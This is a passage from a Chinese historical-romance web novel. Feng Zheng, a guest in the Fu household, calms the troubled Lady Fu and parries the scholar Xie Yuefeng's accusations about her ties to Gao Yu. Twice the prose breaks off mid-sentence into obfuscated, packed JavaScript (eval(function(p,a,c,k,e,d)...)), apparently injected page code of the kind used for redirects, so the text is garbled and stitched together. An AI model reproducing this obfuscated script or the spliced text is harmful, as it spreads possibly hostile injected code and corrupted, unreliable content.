“没多久父亲过世，母亲也跟着病倒，寒症病愈，心病却难医，她变得有点疯癫痴顽，若有事不遂她的意，就愈发爱扮苦情来达到目的。这一现象，在将掌家权分出去，由琬娘打理中馈后尤其明显。” “她是我生母，本来不适合由我说这些唐突她的话，但若我不讲，你恐怕无法理解她交流时爱抒情的习惯，而演苦情戏，就是她抒情的方式之一。” 冯筝有些难以接受，符邺点头示意她没听错，她半晌才找回自己的声音。 “她这样多久了？” 符邺没有回答，她便意会这病只怕持续了很多年。 符夫人正被伺候着喝茶，偶尔向这边探究一眼，冯筝不动声色将目光转开，料符邺没必要骗她，逐渐接纳了这一事实。 “相比以前，表姑母真的变了很多。” 符邺既然能和盘托出，某些话她便也没有压力，“你我同在她身边受教，有没有兄妹情分，表姑母应该很清楚才对，膳桌上屡屡说合你我，这么做又是何苦？” 符邺露出难色，“她抒的什么情，我以为你能看明白。” 冯筝微顿，稍加思考，想起了他们儿时闹过的龃龉，猜想符夫人可能还执着于此，符邺印证了她的猜测，“她想化解你我当年的芥蒂。” “母亲半生精明，对你的关爱却很平实，这些年府中经常去信宣城，贵府一直不予理睬。在她看来，你我这层嫌隙，既损了你对符家的感情，也导致贵府不再待见我们。所以你这一趟登门，她想看到的，无非是你我和解，不能重归于好，也至少言笑如常。” 两家如履薄冰的关系被符邺道破，冯筝听出误解，不方便告诉他，符家不受待见，与儿时的旧事没有关系，归因于三年前，她在探亲路上遭遇匪贼，导致娘亲迁怒于邀她前去侍疾的他们。 此事家中瞒得甚紧，实情不能详说。她片刻没给出动静，以至于符邺怀疑，她还在记仇，没谅解他。 刚欲道歉，冯筝点头给出了回应。 “我知道该怎么做了。” 符邺和冯筝去而复返，后者直奔符夫人，伺候茶水的奴婢让出道来。郑琬见到她不顾地面脏污，裙膝抵地跟符夫人交心，缓慢记起来，她对这位表姑娘，其实印象发生过改观。 她从莲城行船嫁到符家，对夫家亲族的认识，大多来自旁人叙述。可惜由言语组成的画像谱，天花乱坠的总会失真，被预期描绘得再金贵的人，到头来不过一群膏粱子弟。 所以，对这位缀在旁支疏干，却令婆母多番提及的冯姓表亲，郑琬当然一样看待。 冯家姿态摆得高，她家的女儿，比金枝玉叶还难请动，府里的邀帖飞花一样砸过去，直到符管事出马才有回音。冯家眼高于顶，教养出来的姑娘，可想而知该有多傲慢。 轻易做出评判的郑琬，今日见到了人才发觉，对方是个礼数齐整的姑娘。 闺阁女多爱熏衣熏帕，但凡门第高点，都爱把自己捯饬得鲜亮鲜明。冯家门第不高，就这一个嫡女嫡孙，理应宠若珠宝，头面锦裙什么的肯定不会短缺了她，她却素衣布裙，既不熏香也不描丹蔻，素净得要把自己埋没进人堆。 那姑娘矮身蹲在了座位边，裙摆堆出雪白的褶，膝弯抵在奴婢们踩得脏污的地，眉眼真情流露，没有半点敷衍，一直将符夫人哄到释怀。 继片刻前偶感醋意后，轻视了她的郑琬，竟无端感到挣扎。 “你怎么了？” 属于丈夫的气息出现在身边，符邺抚过她的后脑，按在胸前轻抚，“跟冯姑娘讲母亲的心结，得私谈。” 郑琬浑身一松，拈酸吃醋和惭愧挣扎的情绪通通疏解，理智一回笼，就清楚地意识到，他们避人耳目是为正事。 郑琬推了推符邺，从他怀里出来，已经理解方才堂屋里和膳堂中，他为何没屈从母亲，只是跟表姑娘的叙旧点到为止。 冯家和符家不算亲姑舅，子嗣间就不算正统表亲。两家长辈的表字关系，续到符邺与冯筝身上，早就不剩什么亲缘，有亲情在才是怪事，婆母是犯糊涂了，才会困扰其中，逼他们维系什么亲情。 符夫人情绪慢慢平稳，冯筝忍着腿脚酥麻，打算趁热打铁再说点好的，这时，被一股力量稳稳搀起。 耳边响起有力的吩咐，郑琬久违出面，“这些端茶送水的奴婢还杵着作甚，有表姑娘在，老夫人哪稀罕理你们，还不赶紧下去。” 郑琬捎来婆母爱吃的蜜饯，冯筝和琬娘交换了一下眼神，哄她吃了一碗菜粥，符夫人这股痴顽劲一过，便由冯筝陪着，送她到寝屋歇息去了。 午膳被闹剧搅了局，晚些的时候，后厨给各厢房送来菜肴和点心，美其名曰给来客压惊。 给冯筝送饭食的是之前给她引路的婢女，叫素荷，给她摆着碗筷，说比西厢那边，多了两道煎鹿脯和翡翠汤圆，又强调说是符郎君的赔罪，在表姑娘这里是独一份，是连谢郎君也没有的待遇。 冯筝便意识到，那个叫谢阅丰的男子住在西厢，听说每年都会有人过去打扫，素荷不着急走，她就顺嘴问那谢郎君是什么来历，值得府上特地留备西厢。 符老爷广结桃李，学生很多，符家也不见得个个都招待，她有此疑问也正常。 素荷摇摇头，“也不是什么厉害的来历。他是太府寺的协律郎，也是老爷生前最亲的学生之一，每年这几天，都会告假过来祭奠老爷，经常留宿，关系走熟了，郎君索性就拨出了西厢。” 一缕耳熟的念头划过脑海，回过神琢磨的时候却没捉住，冯筝没多问了，专心对付自己的午膳。 符老爷葬在祖陵，据说庆帝挽贤，曾有意留其骸骨葬城隍陵，因为不符合宗庙礼制，才由符家人扶柩归乡。 符老爷忌辰这天，用作祭奠的长明灯，由慈恩寺的僧弥描经诵经，符乡君和谢阅丰等人亲自去取，留了少夫人和几个仆妇照看家里，一天都不会回来。 后厨的厨役依照安排，给表姑娘开的小灶每天都不重样，知道她在吃药膳，少沾荤腥，就把淮阳的时蔬糕果都做了个遍，冯筝时不时尝到夜宵，隔天一早也没觉得饿。 府邸空落落的，郑琬带着仆妇来厢房看她，问她被褥够不够暖，说库房还有件鹅绒被，从娘家带来的，一直没用过，冯筝说不麻烦了。郑琬握了握她的手，热乎柔软，就没多余去取，见她腮颊带粉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“跟夫家磨合，学问不少，能理解和体谅的事，互相包容一下没什么不好。我嫁进符家这些年，虽说没个妯娌帮衬，但府里拢共就那么些人，管起来不费神，想来这就是人口简单的好处了。” 郑琬说完一路的话，冯筝看出她疲惫，“是不是哪里不舒服？累了我们就回去吧。” 郑琬强打精神说不用，她并无不适，只是昨晚睡得晚。想起半夜，邺郎缠着她没准她睡，郑琬脸色微红，忍不住讲人口简单也有压力，成亲后一直无所出，还不是要为子嗣发愁。 意识到自己在闺秀跟前说了多余的，郑琬及时打住，想了想也就让它过去了。 “听我絮叨这些，得烦闷了吧，这个时节莲子熟得差不多了，回去叫厨娘给咱们炖莲枣羹，咱姑嫂两个再好好说话。” 冯筝含笑道好，其实不怎么介意。那天哄表姑母的时候，看见了他们夫妻耳鬓厮磨，那谢阅丰被秀了一脸，脸色好不精彩，丢下茶盏就溜出了膳堂。 符府青檐斗拱，隔绝街巷嘈杂，要回主院的郑琬与冯筝顺路，厢房门前，冯筝见到了个眼熟的身影。 自从登门那天被安置在配院，两护卫就没机会露面，元值早就在等，见少夫人带姑娘回了，直接迎过去。 郑琬看到他怀中之物，料冯筝有私事，转头先走了，元值将怀中的妆牍转交给冯筝，一时间也没舍得走。 他表情拧巴地说了两个时辰前，高豫交待他送东西的事，冯筝乍一听还有些惊讶。 他的事竟这么快就办完了？ 牍盒四壁雕花，铜锁虚扣着，还是同心锁，里面尽是些胭脂水粉，她眼神微动，挑出胭脂来回翻看，元值转述完，不太想留，刚抬脚，就听到冯筝狐疑的声音。 “你是说，他找淮州观察司的人算完账，随便路过了一家脂粉铺，又随随便便，买到了跟我在扶陵糟蹋掉的一模一样的石榴珠胭脂？” 他的脚步猛一停顿。 “元值，你不老实。” 38. 第38章 元值沉默片刻，勉强露出笑脸，去除私自增加的随便二字，把高豫的话重新转述了一遍。 这回如实以告，“简而言之，他一直留意着物色这些，存心送你礼。若非知道之前那枚胭脂，是你救他的时候糟蹋掉的，他这一出算赔罪，我几乎要以为，他在觊觎你所以讨你欢心。” 莲塘附近尘泥多，这趟尘扑扑地回来，还需换衣裳，陪郑琬去主院尝莲枣羹，冯筝没空理会他的胡思乱想，把胭脂放进钿盒收好。 提步回房，正思索放在箱笼还是镜台，就察觉刚刚还急着走的护卫，此刻仍站在门边没动。 冯筝疑惑地走了出来，元值迟疑了下，换了副口吻。 “你怎么不问问我，他找来的时候，有没有跟符家的人碰过面？” 元值不是无缘无故多事的性格，冯筝不清楚他何出此言，却能揣摩到深意。此趟远道而来，在符府看来，同行的只有两个护卫，如果高豫登门来找，被符家人知道她还有伴驾……他刚刚写完状纸，应该不太想暴露行踪，所以只能是意外被谁撞见。 因着符老爷忌辰，符夫人和符邺去了慈恩寺取灯，用完素斋才回，郑琬有她全程陪着，也没瞧过高豫的影，唯独不确定门房的家丁，这群人皆符府耳目，难保不会在符邺跟前多言。 冯筝思绪微转，思考起帮高豫隐匿来意的必要，未曾想她猜错了。 照元值坦白，高豫跟他交代完就走了，他带着钿盒要回，发现一个小厮藏在墙角鬼鬼祟祟。 “后来也就是半个时辰前，他家郎君约我到西厢，请我喝了盏茶。” 元值深深看她一眼，如同压力给到冯筝身上，“那人来者不善，貌似和高家有什么恩怨，他的茶水我没碰，能说的不能说的我都没说，东西也藏得好好的，所以请姑娘小心，接下来可能是你的难关。” 元值所言符家的人非彼符家人，确切来说，西厢的那位只算住客。 去往慈恩寺的众人是披着晚霞回来的，不包括提前回来的谢阅丰主仆。按照旧俗，祭奠符老爷的长明灯，经僧弥描经赐福，要在各院挂满十二个时辰，等全部移到祠堂，忌辰已经过去一天。 昨日符邺在慈恩寺用完素斋，就直接带管事去了祖陵，清晨才归家，郑琬出门向慈恩寺善捐，冯筝无事便陪着去了，返程回府，正好遇到向主院走的谢阅丰主仆。 小径两旁都是篱栏，谢阅丰走得稍快，快撞上了也没绕道，冯筝留意到前面，她毫无波澜的眼睛轻瞥而过，侧身让了让，又转头跟郑琬如常交谈。 郑琬没注意到这些，还在说斋堂的清粥索然无味，冯筝答僧人茹素，口腹之欲会弱一些，神情清闲自然，根本没意识到自己惹了多大的祸。 谢阅丰停步回看她一眼，朝前而去，找到符邺跟前。 对于这位共赴慈恩寺取灯，结果接到小厮耳语，就借称有事先走一步的人，此刻突然来找，符邺以为他是来告辞的。 谢阅丰主动坐下，握着扶手郁闷隐忍，符邺眉头微锁，就见他挥退小厮，好一顿倾诉。 “老师视我为半子，他待我不薄，我亦向来尊师重道，符兄，我对老师的敬爱不亚于你。” 符邺被他没头没尾的话弄得有些懵，眼缝微眯，无意跟父亲的门生争高低亲疏，“行，我认，你满意就好。” 谢阅丰非但不满意，反而凄怆痛恨，“符兄远在淮阳，可能不知道，当朝礼部要员多是我同门。江南旧案祸及大半个礼部，去年下赴江南的内帘外帘，包括受卷官、弥封官在内的礼部诸位，全部被三司打落囹圄，他们每处置一批官吏，老师的名节就要被贬损一遍，那群老儒臣，贬得老师体无完肤……” 想起去年礼部院前，他为师兄弟挽尊，谴责慎刑司的人动粗，反被他们扔到白璧阶下的情形，谢阅丰露出屈辱神色。 白璧阶很短，皂靴停在眼前，那人凤眼深邃，一句“碍事讨打”，让他每逢阴沉天，针扎似的隐痛爬遍腿骨。 他阴恻恻转过头来，“符兄可知，那天洪徵明出门公干，捕我那些同门师兄弟时，穿的什么衣，列的究竟哪副阵仗？” 品级官员外出公干，可从衣冠制度窥得一丝端倪，这位殿前宠臣也不例外。 刑科衙门，历来配制两副官衣，他若绛纱襕袍，便是手持金简请人过衙，穿的皂黑刑袍，则是妥妥的清理门户。 符邺粗略知道里面的讲究，听懂他在抱怨什么，眼皮也跟着跳动两下。 “他一身黑袍闯入礼部，走街把人送押诰狱，一点情面也没留。阵仗闹得太多人围观，老师清誉被毁，除了那群醇儒，连百姓都议论他授业有失，可怜他鞠躬尽瘁，死了还要被人诋毁，更可恨那佞臣高平缮品行不端，一手造就舞弊大案，连累老师受此大辱！” 洪徵明非善茬，高平缮也不是善类……他把这些人通通怪了个遍，唯独不提他那些被捕的同门犯没犯错，犯错的师兄弟该不该杀。 谢阅丰眼含哀痛，符邺安抚他，拿出珍藏的茶降降躁郁，禄山茶味苦，涩意沉在喉咙，憋得谢阅丰好半晌才缓过劲来，符邺耳根倒是清静了不少。 应对夜里转凉，东西厢房都翻新了被褥，冯筝迟迟回房，发现新换的被单夹了棉絮。 哪怕她出门落锁，也拦不住做事的仆婢，素荷把寝具安置好，问过安就退下，冯筝下意识瞥过桌前的字帖，猛地转过头来。 “除了你之外，还有谁来过了？” 素荷弹了弹脑门，“瞧我这记性。奴婢来换被褥的时候，谢郎君路过窗前，翻了翻您的字帖，叮嘱奴婢说，如果表姑娘问起来就告诉您，他在书道方面颇有造诣，表姑娘若喜欢练字，随时都可以向他请教。” 冯筝站在桌前，情绪难免紧张。 字帖中间，夹着那晚相会时，高豫压在她枕下的手稿，手稿笔锋悍劲，数起官宦连名带姓的，若被他人窥破，容易引来祸事，好在整整一摞字帖，那人只抽去了第一页，往下没有翻动的痕迹。 显而易见，这是介于陪郑琬出门，到小径遇到他之间发生的事。 谢阅丰递出橄榄枝，摆明了等她前去话谈，以他经过小径时那张平静无波的脸，谁能看得出，背后竟有这种冒昧无礼的举动。 西厢庭芜，从主院回来的谢阅丰用清茶压苦，身前摆一张卷腿桌，三个小厮伺候着笔墨，谢阅丰朝她看过来，手指捏着张被她写满楷字的纸，第一句便蓄意揭短。 “姑娘相貌雅致，笔迹竟这般粗糙，冯家府第不寒微，难道就没请过先生？” 谢阅丰站起来，意图昭然若揭，“既然爱练簪花小楷，索性拜我为师，我拨冗点拨你一二，而你作为学生，需对我知无不言，言无不尽，如何？” 冯筝没搭练字的腔，“你试图施舍些优待，借我打听高三郎君的动向，却也不先问问，我跟他是不是一路人呢？” 谢阅丰觉得好笑，直言高相惹得龙颜大怒，后嗣皆被剥除贡举资格，高豫没有出头之日，这样家门不幸的人，不可能有人会站他这边。 冯筝辩无可辩，跟这种自视甚高的家伙没什么好说的，但谢阅丰岂能让她好走，大步绕到跟前，“他乃罪臣后嗣，脱罪后不选择隐居，四处招摇肯定是要举事，冯姑娘与他相熟，想必会知道一些内情。” 冯筝手夺字帖，他抬手虚晃，塞进前襟，她假意争了争，领会到他确实没翻到手稿，安心许多，不欲纠缠，扭头就走，谢阅丰暗掐扳指。 “昨日符府外，高豫和你的随从接头，让他把东西转交于你，他冲你而来，如此相知相熟，还想撇清关系糊弄我吗？” 冯筝停步回头，谢阅丰终于把她问住，没打算停歇，继续威逼。 “你在此地回我的话，句句都是躲闪推搪，他的事你一定知情，敢不敢去人前辩上一辩？” 冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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符管事眼瞳缩动，谢郎君是老爷爱徒，连夫人都给三分薄面，表姑娘嘲他毫无廉耻，这纷争还是挑起来了。 谢阅丰得到回应，脸色不悦却颇觉自满。 “冯姑娘不用转移话题，你跟高豫交情不浅，自然帮他说话。州郡部衙，裙带联结关系错综复杂，他若找到门路，复官复荫也不无可能。高豫来淮阳的筹谋，你表现得毫不知情，现在却敢替他澄清，你一定知道些什么。” “之前在我院中，你百般回避跟他的关系，似乎装作跟他不熟，可他不辞辛劳走这么远，来到符府门前与你交接，这你怎么解释？” “他献礼买好你，是想借你疏通符家人脉，助他复官复荫，还是说根本藏着更大的图谋？” “他为什么来找你，到底存的什么心思，以至于令你这样讳莫如深，冯姑娘请给句实话！” 冯筝敛容抿了抿茶，有些烦闷横生枝节，高豫向此地观察使讨债，递状纸的事情绝不能讲，让谢阅丰就这么完胜也很憋屈。 符家众人都没出声，谢阅丰步步逼问，她就冷静看着他耀武扬威地走来。 思绪变得很慢，元值送钿盒时扭捏的表情，以及那句觊觎她的歪理划过脑海，她不假思索地抚裙起身，“因为……” “因为什么？” 伸手从荷包里翻出胭脂，冯筝递出来，“因为他太爱我了。” 满堂人凝神静气地惊住，谢阅丰脚步一僵，迟钝看向她掌心，釉面精致，描花镂银，是最讨姑娘芳心的款式。 冯筝看着他，不得已露出羞涩的笑，“他护送我到淮阳，见我平安，又到最贵的珠翠阁物色胭脂水粉。他来意在我，找到符府，想求娶我，硬要对我私相授受，这枚胭脂只是其中一件，珠翠阁的钿盒还在我屋里摆着呢，你若想看，叫素荷引你去便是了。”